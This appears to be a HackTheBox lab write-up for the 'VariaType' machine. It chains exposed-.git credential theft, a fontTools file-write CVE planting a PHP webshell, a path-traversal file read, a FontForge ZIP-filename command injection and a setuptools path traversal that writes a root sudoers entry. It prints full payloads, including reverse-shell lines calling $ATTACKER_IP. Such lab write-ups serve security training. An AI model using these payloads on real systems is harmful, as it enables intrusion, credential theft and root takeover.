Skip to content
HackIndex logo

HackIndex

VariaType - HackTheBox

Medium Linux

Last updated July 13, 2026 5 min read

Joshua

HackIndex Creator

Discovery

Port Scan

┌──(kali㉿kali)-[~]
└─$ scan_tcp_full $TARGET_IP
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7
80/tcp open  http    nginx 1.22.1
|_http-title: VariaType Labs — Variable Font Generator

HTTP redirects to variatype.htb. Add it to /etc/hosts:

┌──(kali㉿kali)-[~]
└─$ echo "$TARGET_IP variatype.htb" | sudo tee -a /etc/hosts

Web Enumeration

The main site at variatype.htb is a variable font generator. The /services page describes fontTools-based CI/CD pipelines — useful context for later. Subdomain enumeration finds an internal portal:

┌──(kali㉿kali)-[~]
└─$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-u http://variatype.htb/ \
-H "Host: FUZZ.variatype.htb" \
-mc 200,204,301,302,307,401,403 -fs 169
portal    [Status: 200, Size: 2494]
┌──(kali㉿kali)-[~]
└─$ echo "$TARGET_IP portal.variatype.htb" | sudo tee -a /etc/hosts

portal.variatype.htb presents an "Internal Validation Portal" login page. Directory fuzzing against it immediately reveals an exposed .git directory:

┌──(kali㉿kali)-[~]
└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt \
-u http://portal.variatype.htb/FUZZ \
-mc 200,204,301,302,307,401,403
.git/config    [Status: 200]
.git/HEAD      [Status: 200]
.git/index     [Status: 200]
files          [Status: 301]
index.php      [Status: 200]

Initial Access

Git Repository Dump — Credential Leak

Dump the exposed git repository:

┌──(kali㉿kali)-[~]
└─$ git-dumper http://portal.variatype.htb/.git/ ./portal-source
┌──(kali㉿kali)-[~]
└─$ cd portal-source
┌──(kali㉿kali)-[~]
└─$ git log --oneline --all
753b5f5 (HEAD -> master) fix: add gitbot user for automated validation pipeline
5030e79 feat: initial portal implementation

The diff between commits reveals hardcoded credentials added in the second commit:

┌──(kali㉿kali)-[~]
└─$ git log -p --all
+$USERS = [
+    'gitbot' => '$GITBOT_PASSWORD'
+];

These credentials authenticate successfully at http://portal.variatype.htb/.

CVE-2025-66034 — fontTools varLib Arbitrary File Write

The font generator at variatype.htb/tools/variable-font-generator accepts a .designspace file and source fonts. CVE-2025-66034 affects fontTools 4.33.0 through 4.60.1: the varLib CLI writes the output font to the path specified in the filename attribute of <variable-font> without any path sanitisation, allowing arbitrary file write to any location the process can write to.

The output file embeds the <labelname> content verbatim into the font's name table. By embedding a PHP webshell payload inside a CDATA block in the labelname, the written file becomes a valid PHP file that executes code on request.

Read the nginx portal config via the LFI found below to determine the web root:

root /var/www/portal.variatype.htb/public;

Craft the malicious .designspace with the output path pointing into the portal web root:

<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
  <axes>
    <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
      <labelname xml:lang="en"><![CDATA[<?php system($_GET['cmd']); ?>]]]]><![CDATA[>]]></labelname>
      <labelname xml:lang="fr">Normal</labelname>
    </axis>
  </axes>
  <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
  <sources>
    <source filename="source-light.ttf" name="Light">
      <location><dimension name="Weight" xvalue="100"/></location>
    </source>
    <source filename="source-regular.ttf" name="Regular">
      <location><dimension name="Weight" xvalue="400"/></location>
    </source>
  </sources>
  <variable-fonts>
    <variable-font name="MyFont"
      filename="/var/www/portal.variatype.htb/public/shell.php">
      <axis-subsets><axis-subset name="Weight"/></axis-subsets>
    </variable-font>
  </variable-fonts>
  <instances>
    <instance name="Display Thin" familyname="MyFont" stylename="Thin">
      <location><dimension name="Weight" xvalue="100"/></location>
      <labelname xml:lang="en">Display Thin</labelname>
    </instance>
  </instances>
</designspace>

Generate valid source fonts with setup.py (using fontTools FontBuilder), then submit all three files through the generator form:

┌──(kali㉿kali)-[~]
└─$ curl -s -X POST http://variatype.htb/tools/variable-font-generator/process \
-F "[email protected]" \
-F "[email protected]" \
-F "[email protected]"

The output font is written to shell.php. Confirm code execution:

┌──(kali㉿kali)-[~]
└─$ curl "http://portal.variatype.htb/shell.php?cmd=id"
┌──(kali㉿kali)-[~]
└─$ # output embedded in font binary bytes, contains: www-data

Trigger a reverse shell:

http://portal.variatype.htb/shell.php?cmd=busybox%20nc%20$ATTACKER_IP%20$ATTACKER_PORT%20-e%20/bin/bash
┌──(kali㉿kali)-[~]
└─$ rslisten tun0 1111
connect to [$ATTACKER_IP] from variatype.htb
www-data@variatype:~/portal.variatype.htb/public$

Path Traversal — LFI on portal download.php

The portal's download.php sanitises ../ sequences but not the ....// double-dot-slash bypass. This allows reading arbitrary files as www-data:

┌──(kali㉿kali)-[~]
└─$ curl "http://portal.variatype.htb/download.php?f=....//....//....//....//....//etc/passwd" \
-H "Cookie: PHPSESSID=$SESSION"
root:x:0:0:root:/root:/bin/bash
...
steve:x:1000:1000:steve,,,:/home/steve:/bin/bash

Read the nginx config to discover the portal web root path needed for the CVE:

┌──(kali㉿kali)-[~]
└─$ curl "http://portal.variatype.htb/download.php?f=....//....//....//....//....//etc/nginx/sites-enabled/portal.variatype.htb" \
-H "Cookie: PHPSESSID=$SESSION"
root /var/www/portal.variatype.htb/public;

Lateral Movement — CVE-2024-25082 (FontForge Zip Command Injection)

As www-data, enumerate running processes with pspy. A script owned by steve runs every few minutes and passes files from the portal uploads directory to FontForge for validation:

UID=1000 | /usr/local/src/fontforge/build/bin/fontforge -lang=py -c
    font = fontforge.open('variabype_xxx.ttf')

The installed FontForge version is 20230101 (built 2025-12-07), which is affected by CVE-2024-25082: when opening a ZIP or tar.gz archive, FontForge extracts the archive's table of contents via sh -c tar tfz ... and uses the filename directly in the shell command without sanitisation. A filename containing shell metacharacters executes arbitrary code.

The backup of the processing script is readable at /opt/process_client_submissions.bak, confirming it passes every file in the uploads directory to FontForge regardless of extension.

Craft a ZIP archive with a filename payload that triggers a reverse shell. The payload is base64-encoded to avoid special character issues in the filename:

# Payload: busybox nc $ATTACKER_IP $ATTACKER_PORT -e /bin/bash
# Base64: YnVzeWJveCBuYyAxMC4xMC4xNC4xMzMgMTExMyAtZSAvYmluL2Jhc2gK

python3 -c '
import zipfile
with zipfile.ZipFile("/var/www/portal.variatype.htb/public/files/evil.zip", "w") as f:
    f.writestr("$(echo YnVzeWJveCBuYyAxMC4xMC4xNC4xMzMgMTExMyAtZSAvYmluL2Jhc2gK|base64 -d|bash).ttf", "")
'

Within two minutes the script fires, FontForge opens evil.zip, and the filename executes:

┌──(kali㉿kali)-[~]
└─$ sh -c ( cd /tmp/ffarchive-109926-1 ; unzip /var/www/.../evil.zip \
$(echo YnVzeWJve...|base64 -d|bash).ttf )
connect to [$ATTACKER_IP] from variatype.htb
steve@variatype:/tmp/ffarchive-109953-1$

Shell as steve. Grab user.txt from /home/steve/.

Privilege Escalation — setuptools PackageIndex Path Traversal (GHSA-5rjg-fvgr-3xxf)

user@host ~ $ sudo -l
(root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *

The script calls setuptools.PackageIndex().download(plugin_url, PLUGIN_DIR). The PackageIndex.download method in affected versions of setuptools honours a Content-Disposition: attachment; filename= header returned by the server and uses that filename directly as the write path — including absolute paths — without sanitisation. This is an arbitrary file write as root.

Serve a malicious HTTP response that delivers a sudoers payload with a path-traversal filename:

from http.server import HTTPServer, BaseHTTPRequestHandler

PAYLOAD = b'steve ALL=(ALL) NOPASSWD: ALL\n'

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-Type', 'text/plain')
        self.send_header('Content-Disposition',
                         'attachment; filename="/etc/sudoers.d/steve"')
        self.send_header('Content-Length', len(PAYLOAD))
        self.end_headers()
        self.wfile.write(PAYLOAD)
    def log_message(self, *args): pass

HTTPServer(('0.0.0.0', 1234), Handler).serve_forever()

The URL passed to the script must include #egg=<name>-<version> to satisfy the setuptools parser. URL-encode the filename in the path so the server returns the desired Content-Disposition:

user@host ~ $ sudo /usr/bin/python3 /opt/font-tools/install_validator.py \
"http://$ATTACKER_IP:1234/%2Fetc%2Fsudoers.d%2Fsteve#egg=pwn-1.0.0"
[INFO] Downloading http://$ATTACKER_IP:1234/%2Fetc%2Fsudoers.d%2Fsteve#egg=pwn-1.0.0
[INFO] Plugin installed at: /etc/sudoers.d/steve
[+] Plugin installed successfully.
sudo su
whoami
# root
cat /root/root.txt

References